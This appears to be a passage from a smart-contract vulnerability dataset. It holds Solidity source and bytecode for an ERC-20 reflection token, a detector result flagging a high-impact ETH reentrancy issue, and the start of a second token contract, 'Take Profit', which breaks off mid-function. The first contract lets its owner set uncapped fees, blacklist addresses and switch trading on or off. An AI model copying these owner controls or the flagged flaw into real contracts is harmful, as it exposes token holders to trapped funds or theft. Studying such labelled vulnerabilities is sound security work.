_rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);///////////////////////////////////////////////// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _developmentAddress.transfer(amount.div(2)); _marketingAddress.transfer(amount.div(2)); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set MAx transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101c55760003560e01c8063715018a6116100f757806398a5c31511610095578063c3c8cd8011610064578063c3c8cd801461052c578063c492f04614610541578063dd62ed3e14610561578063ea1644d5146105a757600080fd5b806398a5c3151461049c578063a2a957bb146104bc578063a9059cbb146104dc578063bfd79284146104fc57600080fd5b80638da5cb5b116100d15780638da5cb5b146104165780638f70ccf7146104345780638f9a55c01461045457806395d89b411461046a57600080fd5b8063715018a6146103cb57806374010ece146103e05780637d1db4a51461040057600080fd5b8063313ce567116101645780636b9990531161013e5780636b999053146103565780636d8aa8f8146103765780636fc3eaec1461039657806370a08231146103ab57600080fd5b8063313ce567146102fa57806338bf3cfa1461031657806349bd5a5e1461033657600080fd5b80631694505e116101a05780631694505e1461026857806318160ddd146102a057806323b872dd146102c45780632fd689e3146102e457600080fd5b8062b8cf2a146101d157806306fdde03146101f3578063095ea7b31461023857600080fd5b366101cc57005b600080fd5b3480156101dd57600080fd5b506101f16101ec366004611aeb565b6105c7565b005b3480156101ff57600080fd5b5060408051808201909152600a81526929a0a724a710212aa92760b11b60208201525b60405161022f9190611c15565b60405180910390f35b34801561024457600080fd5b50610258610253366004611a41565b610674565b604051901515815260200161022f565b34801561027457600080fd5b50601454610288906001600160a01b031681565b6040516001600160a01b03909116815260200161022f565b3480156102ac57600080fd5b50662386f26fc100005b60405190815260200161022f565b3480156102d057600080fd5b506102586102df366004611a01565b61068b565b3480156102f057600080fd5b506102b660185481565b34801561030657600080fd5b506040516009815260200161022f565b34801561032257600080fd5b506101f1610331366004611991565b6106f4565b34801561034257600080fd5b50601554610288906001600160a01b031681565b34801561036257600080fd5b506101f1610371366004611991565b6107de565b34801561038257600080fd5b506101f1610391366004611bb2565b610829565b3480156103a257600080fd5b506101f1610871565b3480156103b757600080fd5b506102b66103c6366004611991565b6108bc565b3480156103d757600080fd5b506101f16108de565b3480156103ec57600080fd5b506101f16103fb366004611bcc565b610952565b34801561040c57600080fd5b506102b660165481565b34801561042257600080fd5b506000546001600160a01b0316610288565b34801561044057600080fd5b506101f161044f366004611bb2565b610981565b34801561046057600080fd5b506102b660175481565b34801561047657600080fd5b5060408051808201909152600981526829a0a724a7212aa92760b91b6020820152610222565b3480156104a857600080fd5b506101f16104b7366004611bcc565b6109c9565b3480156104c857600080fd5b506101f16104d7366004611be4565b6109f8565b3480156104e857600080fd5b506102586104f7366004611a41565b610a36565b34801561050857600080fd5b50610258610517366004611991565b60106020526000908152604090205460ff1681565b34801561053857600080fd5b506101f1610a43565b34801561054d57600080fd5b506101f161055c366004611a6c565b610a97565b34801561056d57600080fd5b506102b661057c3660046119c9565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105b357600080fd5b506101f16105c2366004611bcc565b610b46565b6000546001600160a01b031633146105fa5760405162461bcd60e51b81526004016105f190611c68565b60405180910390fd5b60005b81518110156106705760016010600084848151811061062c57634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061066881611d7b565b9150506105fd565b5050565b6000610681338484610b75565b5060015b92915050565b6000610698848484610c99565b6106ea84336106e585604051806060016040528060288152602001611dd8602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111d5565b610b75565b5060019392505050565b6000546001600160a01b0316331461071e5760405162461bcd60e51b81526004016105f190611c68565b6001600160a01b0381166107835760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105f1565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031633146108085760405162461bcd60e51b81526004016105f190611c68565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146108535760405162461bcd60e51b81526004016105f190611c68565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806108a657506013546001600160a01b0316336001600160a01b0316145b6108af57600080fd5b476108b98161120f565b50565b6001600160a01b03811660009081526002602052604081205461068590611294565b6000546001600160a01b031633146109085760405162461bcd60e51b81526004016105f190611c68565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461097c5760405162461bcd60e51b81526004016105f190611c68565b601655565b6000546001600160a01b031633146109ab5760405162461bcd60e51b81526004016105f190611c68565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109f35760405162461bcd60e51b81526004016105f190611c68565b601855565b6000546001600160a01b03163314610a225760405162461bcd60e51b81526004016105f190611c68565b600893909355600a91909155600955600b55565b6000610681338484610c99565b6012546001600160a01b0316336001600160a01b03161480610a7857506013546001600160a01b0316336001600160a01b0316145b610a8157600080fd5b6000610a8c306108bc565b90506108b981611318565b6000546001600160a01b03163314610ac15760405162461bcd60e51b81526004016105f190611c68565b60005b82811015610b40578160056000868685818110610af157634e487b7160e01b600052603260045260246000fd5b9050602002016020810190610b069190611991565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610b3881611d7b565b915050610ac4565b50505050565b6000546001600160a01b03163314610b705760405162461bcd60e51b81526004016105f190611c68565b601755565b6001600160a01b038316610bd75760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105f1565b6001600160a01b038216610c385760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105f1565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cfd5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105f1565b6001600160a01b038216610d5f5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105f1565b60008111610dc15760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105f1565b6000546001600160a01b03848116911614801590610ded57506000546001600160a01b03838116911614155b156110ce57601554600160a01b900460ff16610e86576000546001600160a01b03848116911614610e865760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016105f1565b601654811115610ed85760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105f1565b6001600160a01b03831660009081526010602052604090205460ff16158015610f1a57506001600160a01b03821660009081526010602052604090205460ff16155b610f725760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016105f1565b6015546001600160a01b03838116911614610ff75760175481610f94846108bc565b610f9e9190611d0d565b10610ff75760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016105f1565b6000611002306108bc565b60185460165491925082101590821061101b5760165491505b8080156110325750601554600160a81b900460ff16155b801561104c57506015546001600160a01b03868116911614155b80156110615750601554600160b01b900460ff165b801561108657506001600160a01b03851660009081526005602052604090205460ff16155b80156110ab57506001600160a01b03841660009081526005602052604090205460ff16155b156110cb576110b982611318565b4780156110c9576110c94761120f565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061111057506001600160a01b03831660009081526005602052604090205460ff165b8061114257506015546001600160a01b0385811691161480159061114257506015546001600160a01b03848116911614155b1561114f575060006111c9565b6015546001600160a01b03858116911614801561117a57506014546001600160a01b03848116911614155b1561118c57600854600c55600954600d555b6015546001600160a01b0384811691161480156111b757506014546001600160a01b03858116911614155b156111c957600a54600c55600b54600d555b610b40848484846114bd565b600081848411156111f95760405162461bcd60e51b81526004016105f19190611c15565b5060006112068486611d64565b95945050505050565b6012546001600160a01b03166108fc6112298360026114eb565b6040518115909202916000818181858888f19350505050158015611251573d6000803e3d6000fd5b506013546001600160a01b03166108fc61126c8360026114eb565b6040518115909202916000818181858888f19350505050158015610670573d6000803e3d6000fd5b60006006548211156112fb5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105f1565b600061130561152d565b905061131183826114eb565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061136e57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156113c257600080fd5b505afa1580156113d6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113fa91906119ad565b8160018151811061141b57634e487b7160e01b600052603260045260246000fd5b6001600160a01b0392831660209182029290920101526014546114419130911684610b75565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac9479061147a908590600090869030904290600401611c9d565b600060405180830381600087803b15801561149457600080fd5b505af11580156114a8573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b806114ca576114ca611550565b6114d584848461157e565b80610b4057610b40600e54600c55600f54600d55565b600061131183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611675565b600080600061153a6116a3565b909250905061154982826114eb565b9250505090565b600c541580156115605750600d54155b1561156757565b600c8054600e55600d8054600f5560009182905555565b600080600080600080611590876116e1565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506115c2908761173e565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115f19086611780565b6001600160a01b038916600090815260026020526040902055611613816117df565b61161d8483611829565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161166291815260200190565b60405180910390a3505050505050505050565b600081836116965760405162461bcd60e51b81526004016105f19190611c15565b5060006112068486611d25565b6006546000908190662386f26fc100006116bd82826114eb565b8210156116d857505060065492662386f26fc1000092509050565b90939092509050565b60008060008060008060008060006116fe8a600c54600d5461184d565b925092509250600061170e61152d565b905060008060006117218e8787876118a2565b919e509c509a509598509396509194505050505091939550919395565b600061131183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111d5565b60008061178d8385611d0d565b9050838110156113115760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105f1565b60006117e961152d565b905060006117f783836118f2565b306000908152600260205260409020549091506118149082611780565b30600090815260026020526040902055505050565b600654611836908361173e565b6006556007546118469082611780565b6007555050565b6000808080611867606461186189896118f2565b906114eb565b9050600061187a60646118618a896118f2565b905060006118928261188c8b8661173e565b9061173e565b9992985090965090945050505050565b60008080806118b188866118f2565b905060006118bf88876118f2565b905060006118cd88886118f2565b905060006118df8261188c868661173e565b939b939a50919850919650505050505050565b60008261190157506000610685565b600061190d8385611d45565b90508261191a8583611d25565b146113115760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105f1565b803561197c81611dc2565b919050565b8035801515811461197c57600080fd5b6000602082840312156119a2578081fd5b813561131181611dc2565b6000602082840312156119be578081fd5b815161131181611dc2565b600080604083850312156119db578081fd5b82356119e681611dc2565b915060208301356119f681611dc2565b809150509250929050565b600080600060608486031215611a15578081fd5b8335611a2081611dc2565b92506020840135611a3081611dc2565b929592945050506040919091013590565b60008060408385031215611a53578182fd5b8235611a5e81611dc2565b946020939093013593505050565b600080600060408486031215611a80578283fd5b833567ffffffffffffffff80821115611a97578485fd5b818601915086601f830112611aaa578485fd5b813581811115611ab8578586fd5b8760208260051b8501011115611acc578586fd5b602092830195509350611ae29186019050611981565b90509250925092565b60006020808385031215611afd578182fd5b823567ffffffffffffffff80821115611b14578384fd5b818501915085601f830112611b27578384fd5b813581811115611b3957611b39611dac565b8060051b604051601f19603f83011681018181108582111715611b5e57611b5e611dac565b604052828152858101935084860182860187018a1015611b7c578788fd5b8795505b83861015611ba557611b9181611971565b855260019590950194938601938601611b80565b5098975050505050505050565b600060208284031215611bc3578081fd5b61131182611981565b600060208284031215611bdd578081fd5b5035919050565b60008060008060808587031215611bf9578081fd5b5050823594602084013594506040840135936060013592509050565b6000602080835283518082850152825b81811015611c4157858101830151858201604001528201611c25565b81811115611c525783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611cec5784516001600160a01b031683529383019391830191600101611cc7565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611d2057611d20611d96565b500190565b600082611d4057634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611d5f57611d5f611d96565b500290565b600082821015611d7657611d76611d96565b500390565b6000600019821415611d8f57611d8f611d96565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146108b957600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220297291acedd0495b3e78efee97dd8b121e3977d42fbd52527eac4dbd8fe1ee8964736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
2,518
0xd8341e45f92530ec32b2c1e169d603a83a0fc181
/** * * * Take Profit * * TOKENOMICS: * 1,000,000,000,000 token supply * FIRST TWO MINUTES: 5,000,000,000 max buy / 30-second buy cooldown (these limitations are lifted automatically two minutes post-launch) * 15-second cooldown to sell after a buy * 10% tax on buys and sells * Max wallet of 5% of total supply for first 12 hours * 20% fee on sells within first (1) hour post-launch * No team tokens, no presale * SPDX-License-Identifier: UNLICENSED */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if(a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract TP is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => User) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e12 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = unicode"Take Profit"; string private constant _symbol = unicode"TP"; uint8 private constant _decimals = 9; uint256 private _taxFee = 1; uint256 private _teamFee = 9; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; uint256 private _launchFeeEnd; uint256 private _maxBuyAmount; uint256 private _maxHeldTokens; address payable private _feeAddress1; address payable private _feeAddress2; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private _tradingOpen; bool private _cooldownEnabled = true; bool private inSwap = false; bool private _useFees = true; uint256 private _buyLimitEnd; uint256 private _maxHeldTokensEnd; struct User { uint256 buy; uint256 sell; bool exists; } event MaxBuyAmountUpdated(uint _maxBuyAmount); event CooldownEnabledUpdated(bool _cooldown); event UseFeesBooleanUpdated(bool _usefees); event FeeAddress1Updated(address _feewallet1); event FeeAddress2Updated(address _feewallet2); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable feeAddress1, address payable feeAddress2) { _feeAddress1 = feeAddress1; _feeAddress2 = feeAddress2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[feeAddress1] = true; _isExcludedFromFee[feeAddress2] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); // set to false for no fee on buys bool takeFee = true; if(from != owner() && to != owner()) { if(_cooldownEnabled) { if(!cooldown[msg.sender].exists) { cooldown[msg.sender] = User(0,0,true); } } // buy if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) { _taxFee = 1; _teamFee = 9; require(_tradingOpen, "Trading not yet enabled."); if(_maxHeldTokensEnd > block.timestamp) { require(amount.add(balanceOf(address(to))) <= _maxHeldTokens, "You can't own that many tokens at once."); } if(_cooldownEnabled) { if(_buyLimitEnd > block.timestamp) { require(amount <= _maxBuyAmount); require(cooldown[to].buy < block.timestamp, "Your buy cooldown has not expired."); cooldown[to].buy = block.timestamp + (30 seconds); } } if(_cooldownEnabled) { cooldown[to].sell = block.timestamp + (15 seconds); } } uint256 contractTokenBalance = balanceOf(address(this)); // sell if(!inSwap && from != uniswapV2Pair && _tradingOpen) { // take fee on sells takeFee = true; _taxFee = 1; _teamFee = 9; // higher fee on sells within first timeframe post-launch if(_launchFeeEnd > block.timestamp) { _taxFee = 1; _teamFee = 19; } if(_cooldownEnabled) { require(cooldown[from].sell < block.timestamp, "Your sell cooldown has not expired."); } if(contractTokenBalance > 0) { swapTokensForEth(contractTokenBalance); } uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } if(_isExcludedFromFee[from] || _isExcludedFromFee[to] || !_useFees){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddress1.transfer(amount.div(2)); _feeAddress2.transfer(amount.div(2)); } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); 